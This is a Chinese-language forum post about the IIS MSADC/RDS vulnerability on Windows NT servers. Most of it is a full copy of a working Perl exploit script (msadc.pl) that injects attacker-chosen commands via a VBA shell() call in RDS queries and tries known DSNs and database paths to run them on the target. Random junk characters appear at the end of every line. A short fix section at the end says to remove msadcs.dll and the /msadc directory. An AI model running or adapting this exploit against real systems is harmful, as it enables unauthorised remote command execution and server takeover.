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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) i`!>zl+D  
^a7a_M  
涉及程序: VP1 z"j:  
Microsoft NT server Dp?lgw  
,S&p\(r.  
描述: bMqFrG  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 {wf5HA  
u/J1Z>0  
详细: BoHNni  
如果你没有时间读详细内容的话,就删除: }RUK?:lEA  
c:\Program Files\Common Files\System\Msadc\msadcs.dll cEGR?4z  
有关的安全问题就没有了。 XM`&/)  
B3E}fQm )  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 yB4eUa!1  
GGsAisF"N  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 MKX58y{+  
关于利用ODBC远程漏洞的描述,请参看:  4Gj  
Fh}GJE   
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm !_-Uwg  
 H@sM$8  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 yL23 Nqe  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp FW3uq^  
Z5@E|O&  
这里不再论述。 mJsU7bD`  
12l1u[TlS  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: !HF<fn  
8k^1:gt^  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ~bgM*4GW  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 6|1*gl1_LD  
4p>,  
Tzfk_h3hE  
#将下面这段保存为txt文件,然后: "perl -x 文件名" -(zw80@&  
E*L5D4Kw  
#!perl Wp^ A.  
# USKC,&6&}  
# MSADC/RDS 'usage' (aka exploit) script O ]t)`+%q  
#  }D!o=Mg^  
# by rain.forest.puppy VL$?vI'  
# U[hokwZ  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me k|cP]p4,  
# beta test and find errors! ;b 'L2  
N({-&A.N  
use Socket; use Getopt::Std; _RWH$L9  
getopts("e:vd:h:XR", \%args); M`?ATmYy  
)!'7!" $  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; yp< )v(8|'  
dlwOmO'Bm)  
if (!defined $args{h} && !defined $args{R}) { :DFtH13qO  
print qq~ SOluTFxUw  
Usage: msadc.pl -h <host> { -d <delay> -X -v } vtRz;~,Z  
-h <host> = host you want to scan (ip or domain) zT'(I6 S:)  
-d <seconds> = delay between calls, default 1 second Q 34-a"6)  
-X = dump Index Server path table, if available P8 R^46  
-v = verbose VYQ]?XF3i  
-e = external dictionary file for step 5 5L,q,kVS  
S~^]ib0  
Or a -R will resume a command session /&5:v%L  
N"zl7.E  
~; exit;} L8KaK  
CUj$ <ay=  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; u|(Iu}sE=  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} b\H,+|i K  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 9jllW[`2F  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); \\Nt^j3qR  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 0RN7hpf&`  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } J5}?<Dd:  
Z*.rv t  
if (!defined $args{R}){ $ret = &has_msadc; a@#<qf8g  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} +#6f)H(P]  
R  xc  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" G9CL}=lJ,  
. "cmd /c "; J!yK/*sO,  
$in=<STDIN>; chomp $in; M[L@ej  
$command="cmd /c " . $in ; 8]WcW/1r !  
s 4n<k]d  
if (defined $args{R}) {&load; exit;} i1!Y {  
&0OH:P%  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; |oR#j `  
&try_btcustmr; hfs QAa  
bUc ++M  
print "\nStep 2: Trying to make our own DSN..."; hPt=j{aJ%<  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ^CB@4$!   
PrF('PH7i  
print "\nStep 3: Trying known DSNs..."; 3lgD,_&  
&known_dsn; x6Q_+!mnk  
\psO$TxF=  
print "\nStep 4: Trying known .mdbs..."; fF. +{-.  
&known_mdb; 0&c<1;  
Rd|^C$6  
if (defined $args{e}){ J$ &2GAi  
print "\nStep 5: Trying dictionary of DSN names..."; rWJKK  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 9/O\769"'  
m [BV{25  
print "Sorry Charley...maybe next time?\n"; \mw5 ~Rf;  
exit; >dwY( a  
Hh%|}*f_,  
############################################################################## |Rb8 / WX  
#2%8@?_-M  
sub sendraw { # ripped and modded from whisker *\^(-p~M  
sleep($delay); # it's a DoS on the server! At least on mine... pK)!o  
my ($pstr)=@_; q[c^`5  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || F`o"t]AD-a  
die("Socket problems\n"); _ FN#Vq2  
if(connect(S,pack "SnA4x8",2,80,$target)){ Qi|k,1A0  
select(S); $|=1; y~ wN:  
print $pstr; my @in=<S>; yg"FF:^T  
select(STDOUT); close(S); Q>uJ:[x+  
return @in; R)%I9M,  
} else { die("Can't connect...\n"); }} ~_ko$(;A  
&& WEBQ  
############################################################################## S*H @`Do%d  
\_/dfmlIZ  
sub make_header { # make the HTTP request MFqb_q+  
my $msadc=<<EOT P} Y .  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 8[oZ>7LMzC  
User-Agent: ACTIVEDATA !)FKF7'  
Host: $ip J$,bsMIX  
Content-Length: $clen ]MB6++.e  
Connection: Keep-Alive J n'SGR  
u`u{\ xN9  
ADCClientVersion:01.06 ^h"@OEga?  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 c`7dNx  
PsN_c[+  
--!ADM!ROX!YOUR!WORLD! VRUA<x  
Content-Type: application/x-varg 3u9}z+q  
Content-Length: $reqlen l)Mi?B~N  
Oo9'  
EOT C%"aj^u  
; $msadc=~s/\n/\r\n/g; Om2w+yU  
return $msadc;} 66scBi_d  
O?iLLfs  
############################################################################## H )Ze{N  
e,l-}=5* P  
sub make_req { # make the RDS request i_p-|I:hQ  
my ($switch, $p1, $p2)=@_; a!, X@5  
my $req=""; my $t1, $t2, $query, $dsn; G1wJ]ar  
7~VDk5Z6  
if ($switch==1){ # this is the btcustmr.mdb query m5cRHo<9Y  
$query="Select * from Customers where City=" . make_shell(); n"nfEA3{`  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . "FLiSz%ME  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} K/8TwB?I  
4 Z&KR<2Z  
elsif ($switch==2){ # this is general make table query seZb;0  
$query="create table AZZ (B int, C varchar(10))"; ^_uCSA'X  
$dsn="$p1";} E*QLw* H  
;+lsNf  
elsif ($switch==3){ # this is general exploit table query :13u{5:th  
$query="select * from AZZ where C=" . make_shell(); V/yj.aA*@  
$dsn="$p1";} Sea6xGdq  
Nu+DVIM  
elsif ($switch==4){ # attempt to hork file info from index server z]!w@:  
$query="select path from scope()"; i~rb-~o  
$dsn="Provider=MSIDXS;";} rg I Z  
|]b,% ?,U  
elsif ($switch==5){ # bad query fRp(&%8E  
$query="select"; X5=I{eY}  
$dsn="$p1";} RJdijj  
vHb^@z=  
$t1= make_unicode($query); [iC]Wh%  
$t2= make_unicode($dsn); .L.9e#?3  
$req = "\x02\x00\x03\x00"; ?B<.d8i  
$req.= "\x08\x00" . pack ("S1", length($t1)); Myh?=:1~(c  
$req.= "\x00\x00" . $t1 ; f\H1$q\p\  
$req.= "\x08\x00" . pack ("S1", length($t2)); 4j<[3~:0 o  
$req.= "\x00\x00" . $t2 ; 1e I_F8I U  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; @su!9]o  
return $req;} l$m}aQ%h  
7hT@,|(j  
############################################################################## j)#GoU=w  
0KjCM4t  
sub make_shell { # this makes the shell() statement }U|Vpgd!  
return "'|shell(\"$command\")|'";} mBQpf/PG  
54oJ MW9  
############################################################################## \og2\Oh&gH  
TwKi_nh2m  
sub make_unicode { # quick little function to convert to unicode =tl~@~pqI  
my ($in)=@_; my $out; Px gul7  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } _!9I f  
return $out;} Op hD_^  
-:Bgp*S  
############################################################################## qpq(<  
t"YN:y8-  
sub rdo_success { # checks for RDO return success (this is kludge) #{J+BWP\o  
my (@in) = @_; my $base=content_start(@in); C2 yJ Xi`$  
if($in[$base]=~/multipart\/mixed/){ lz _ r  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} c-4z8T#M^  
return 0;} q&^H" fF  
6Ia[`x uL  
############################################################################## 3=%G{L16-  
'30JJ0  
sub make_dsn { # this makes a DSN for us w^}* <q\  
my @drives=("c","d","e","f"); 7yOBxb   
print "\nMaking DSN: "; @)@tIhw  
foreach $drive (@drives) { ){KrBaGa4  
print "$drive: "; tMyMA}`  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . }$s QmR R  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" gZ=$bR  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); R#s_pW{op  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;  lHE+o;-  
return 0 if $2 eq "404"; # not found/doesn't exist i#PR Tbc  
if($2 eq "200") { mB%m<Zo\U  
foreach $line (@results) { ( geV(zT  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} N]&hw&R{Q  
} return 0;} ruy?#rk  
Y\F4  
############################################################################## CiTWjE?|7  
9fsc>9  
sub verify_exists { Z 4c^6v  
my ($page)=@_; F1p|^hYDW  
my @results=sendraw("GET $page HTTP/1.0\n\n"); L+0:'p=  
return $results[0];} 9 7pnq1b  
$paE6X^  
############################################################################## .`oKd@I*"  
j?VHR$  
sub try_btcustmr { V(Oi!(H;v  
my @drives=("c","d","e","f"); }d@;]cps  
my @dirs=("winnt","winnt35","winnt351","win","windows"); S`vw<u4t  
J!}R>mR  
foreach $dir (@dirs) { ajX] ui  
print "$dir -> "; # fun status so you can see progress #hXuGBZEI  
foreach $drive (@drives) { !04 ^E  
print "$drive: "; # ditto _S CY e  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; #;UoZJ B  
$reqlenlen=length( "$reqlen" ); WN o+%  
$clen= 206 + $reqlenlen + $reqlen; R S] N%`]  
kD6Iz$tr  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); wV,=hMTd&\  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} qJw\<7m  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 2FGCf} ,  
]-l4  
############################################################################## 2~h Q   
s:I 8~Cc  
sub odbc_error { pE$*[IvQ'  
my (@in)=@_; my $base; y8]vl;88yY  
my $base = content_start(@in); CS0q#?  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this  1 K]  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ML%JT x0+Z  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 0UQ DB5u  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; !"'@c  
return $in[$base+4].$in[$base+5].$in[$base+6];} l I2UpfkBP  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; _,w*Rv5=  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . FPEab69  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Ad4-aWH  
^$<:~qq !  
############################################################################## }{v0}-~@  
4 &0MB>m  
sub verbose { J$-1odL0Z  
my ($in)=@_; jI$7vmO  
return if !$verbose; nyOvB#f  
print STDOUT "\n$in\n";} !RN9wXS7  
o@YEd d  
############################################################################## U[:Js@uH_  
Kc+9n%sp  
sub save { -#g0  
my ($p1, $p2, $p3, $p4)=@_; Ef=4yH?\j  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; {6F]w_\  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; {7Kl #b  
close OUT;} ""jl  
|xpOU*k  
############################################################################## " pL5j  
u3HaWf3  
sub load { +\J+?jOC4S  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";  0 - u,AD  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); CC]q\%y-_  
@p=<IN>; close(IN); #?~G\Ux0/  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ,Uy~O(F t  
$target= inet_aton($ip) || die("inet_aton problems"); Po.izE!C  
print "Resuming to $ip ..."; zhU^~4F  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; g5 y*-t  
if($p[1]==1) { ^;@!\Rc  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; vQ[ Tc V  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; e(9K.3 @{  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); e{.P2rnh  
if (rdo_success(@results)){print "Success!\n";} xP 3>8Y  
else { print "failed\n"; verbose(odbc_error(@results));}} > Qh#pn*  
elsif ($p[1]==3){ -U@ycx|r  
if(run_query("$p[3]")){ r1sA^2g.  
print "Success!\n";} else { print "failed\n"; }} t_qX7P8+'  
elsif ($p[1]==4){ ##U/Wa3  
if(run_query($drvst . "$p[3]")){ / q^_ 'Lp  
print "Success!\n"; } else { print "failed\n"; }} `U{#;  
exit;} w^S]HzMd  
:{?Pq8jP  
############################################################################## ,MD >Jx|  
YwJ<0;:+hS  
sub create_table { i^ eDM.#X  
my ($in)=@_; ~Yg+bwh  
$reqlen=length( make_req(2,$in,"") ) - 28; ]jV1/vJ-!  
$reqlenlen=length( "$reqlen" ); u<HJFGLzI  
$clen= 206 + $reqlenlen + $reqlen; [LSs|f  
my @results=sendraw(make_header() . make_req(2,$in,"")); kb'l@d#E  
return 1 if rdo_success(@results); D \boF+^  
my $temp= odbc_error(@results); verbose($temp); dkZ[~hEQG-  
return 1 if $temp=~/Table 'AZZ' already exists/; UDb  
return 0;} V}Pv}j:;  
Rz33_ qA  
############################################################################## ]kH8T'  
(- {.T  
sub known_dsn { 6Q`7>l.|?  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 9A}nZ1Y  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 83Fmu/(  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 8+~'T|  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ;5}"2hU>  
r4 ;nkx  
foreach $dSn (@dsns) { "=0JYh)%_  
print "."; !XY}\zKq  
next if (!is_access("DSN=$dSn")); NaeG)u#+  
if(create_table("DSN=$dSn")){ x%RE3J-  
print "$dSn successful\n"; jDW$}^ 6  
if(run_query("DSN=$dSn")){  j g_;pn  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { (@xr/9:i  
print "Something's borked. Use verbose next time\n";}}} print "\n";} S#|5&SR  
|l,0bkY@&  
############################################################################## wE_#b\$=b  
9bD ER  
sub is_access { a6g+"EcH#'  
my ($in)=@_; (M%ZSF V  
$reqlen=length( make_req(5,$in,"") ) - 28; +VHo YEW  
$reqlenlen=length( "$reqlen" ); OWmI$_L  
$clen= 206 + $reqlenlen + $reqlen; QC+BEN$  
my @results=sendraw(make_header() . make_req(5,$in,"")); 58Z,(4:E  
my $temp= odbc_error(@results); \Qz  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 7[(<t+  
return 0;} G3t\2E9S  
lUHpGr|U%  
############################################################################## E\~!E20^  
tEllkHyef  
sub run_query { Q_A?p$%;L  
my ($in)=@_; @34CaZ$k  
$reqlen=length( make_req(3,$in,"") ) - 28; &P>a  
$reqlenlen=length( "$reqlen" ); R?l={N=Wf  
$clen= 206 + $reqlenlen + $reqlen; xx,|n  
my @results=sendraw(make_header() . make_req(3,$in,"")); \05 n$.  
return 1 if rdo_success(@results); Z'y:r2{ql  
my $temp= odbc_error(@results); verbose($temp); pg4jPuCM  
return 0;} 1Gk'f?dw  
lLuAgds`  
############################################################################## Fpntd IU  
X6o iOs  
sub known_mdb { ['@R]Si"!  
my @drives=("c","d","e","f","g"); 5~xv"S(E}  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 4+a u6ABy  
my $dir, $drive, $mdb; aP +)  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Evq^c5n>{  
Vxim$'x!  
# this is sparse, because I don't know of many q6V\n:hKV  
my @sysmdbs=( "\\catroot\\icatalog.mdb", q]z%<`.9*  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 9'h4QF+Y  
"\\system32\\certmdb.mdb", *AI?md  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% s#V:! 7  
P!lTK   
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", $lAhKpdlW  
"\\cfusion\\cfapps\\forums\\forums_.mdb", (\$=+' hy  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", BxGz4  
"\\cfusion\\cfapps\\security\\realm_.mdb", )Jd{WC.  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 08;t%[R  
"\\cfusion\\database\\cfexamples.mdb", (J\Qo9Il  
"\\cfusion\\database\\cfsnippets.mdb", 3AarRQWsn  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 1EA}[x  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Pqv9> N|  
"\\cfusion\\brighttiger\\database\\cleam.mdb", I i J%.U  
"\\cfusion\\database\\smpolicy.mdb", c"CF&vTp  
"\\cfusion\\database\cypress.mdb", $4]"g}_  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", *qL"&h5W  
"\\website\\cgi-win\\dbsample.mdb", w_^g-P[o-  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Ck^jgB.7  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" e{`DvfY21  
); #these are just v/}h y$7  
foreach $drive (@drives) { C-L["O0[  
foreach $dir (@dirs){ M9dUo7  
foreach $mdb (@sysmdbs) { |%7OI#t^  
print "."; gX *i"Y#  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ "%{J$o  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; #wZBWTj.  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ J l9w/T  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; p+|(lrYC  
} else { print "Something's borked. Use verbose next time\n"; }}}}} jR o4+8  
@`#"6y?  
foreach $drive (@drives) { >,QW74o  
foreach $mdb (@mdbs) { _;`g*Kx  
print "."; hS:j$j e  
if(create_table($drv . $drive . $dir . $mdb)){ $61*X f+*  
print "\n" . $drive . $dir . $mdb . " successful\n"; # >L^W7^  
if(run_query($drv . $drive . $dir . $mdb)){ *heX[D &>)  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; wU bLw  
} else { print "Something's borked. Use verbose next time\n"; }}}} D}:M0EBS  
} nV+]jQ~o  
_.$g?E/(  
############################################################################## @;H1s4OZ  
9mfP9  
sub hork_idx { ixIfJ  
print "\nAttempting to dump Index Server tables...\n"; Xu#K<#V  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; tD !$!\`O  
$reqlen=length( make_req(4,"","") ) - 28; ]h0K*{  
$reqlenlen=length( "$reqlen" ); lhhp6-r  
$clen= 206 + $reqlenlen + $reqlen; $4*k=+wS  
my @results=sendraw2(make_header() . make_req(4,"","")); z9[BQ(9t  
if (rdo_success(@results)){ qECta'b&  
my $max=@results; my $c; my %d; z2.ZxL"*  
for($c=19; $c<$max; $c++){ dzwto;  
$results[$c]=~s/\x00//g; ~V<62"G  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; G9i?yd4n=B  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Sej\Gt  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; E;C=V2#>[  
$d{"$1$2"}="";} /J0ctJ2k  
foreach $c (keys %d){ print "$c\n"; } Fl&Z}&5p  
} else {print "Index server doesn't seem to be installed.\n"; }} ^\zf8kPti  
ti^msC8e  
############################################################################## \LZVazXD  
- d(RK_  
sub dsn_dict { SRf .8j  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); */yR _f  
while(<IN>){ 4w-P%-4  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; -R-|[xN  
next if (!is_access("DSN=$dSn")); G Za<  
if(create_table("DSN=$dSn")){ Y>: e4Q  
print "$dSn successful\n"; p[M*<==4  
if(run_query("DSN=$dSn")){ t=$Hv  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ON/U0V:v  
print "Something's borked. Use verbose next time\n";}}} rq>Om MQ67  
print "\n"; close(IN);} -{'WIGm  
wX*F'r"z  
############################################################################## =jN9PzLk  
WGrG#Kw[  
sub sendraw2 { # ripped and modded from whisker z^r  
sleep($delay); # it's a DoS on the server! At least on mine... ~}fQ.F*7R  
my ($pstr)=@_; q-)Ynp4'  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ~)&im.Q4  
die("Socket problems\n"); N3}jLl/  
if(connect(S,pack "SnA4x8",2,80,$target)){ P_f^gB7  
print "Connected. Getting data"; ?h4Rh0rkX  
open(OUT,">raw.out"); my @in; 49m}~J=*  
select(S); $|=1; print $pstr; C0@[4a$8f  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} B&oP0 jS  
close(OUT); select(STDOUT); close(S); return @in; &;O)Dw  
} else { die("Can't connect...\n"); }} jsrIZbN  
hB)TH'R{:  
##############################################################################  M} {'kK  
3\jcq@N  
sub content_start { # this will take in the server headers 2XN];,{  
my (@in)=@_; my $c; 6$|!_94>*)  
for ($c=1;$c<500;$c++) { g`BtG  
if($in[$c] =~/^\x0d\x0a/){ )+S^{tt  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ~qxuD_  
else { return $c+1; }}} "dO>P*k,  
return -1;} # it should never get here actually u4UQMj|q  
)Cm7v@B   
############################################################################## 4Cdl^4(LT  
!{, `h<  
sub funky { H tu}M8/4  
my (@in)=@_; my $error=odbc_error(@in); oTqv$IzqP  
if($error=~/ADO could not find the specified provider/){ )KPQ8y!d  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; )D1=jD(  
exit;} uNn]hl|x  
if($error=~/A Handler is required/){ .}.63T$h9  
print "\nServer has custom handler filters (they most likely are patched)\n"; 5, <:|/r  
exit;} ?Q XS?  
if($error=~/specified Handler has denied Access/){ L93KsI  
print "\nServer has custom handler filters (they most likely are patched)\n"; M(_1'2  
exit;}} }.j09[<  
RC| t-(Z  
############################################################################## {tlt5p!4  
;^K4kK&f  
sub has_msadc { Mmu>&C\  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 7u9!:}Tu  
my $base=content_start(@results); Y79{v nlGk  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); X( H-U q*(  
return 0;} g^dPAjPQ  
sZ!/uN!6  
######################## rcWr0q  
Jm l4EW7  
(\=iKE4#  
解决方案: -:|1>og  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll &b#O=LF  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 0rtP :Nj$  
cF7efs8u  
拿出来充数 哈哈
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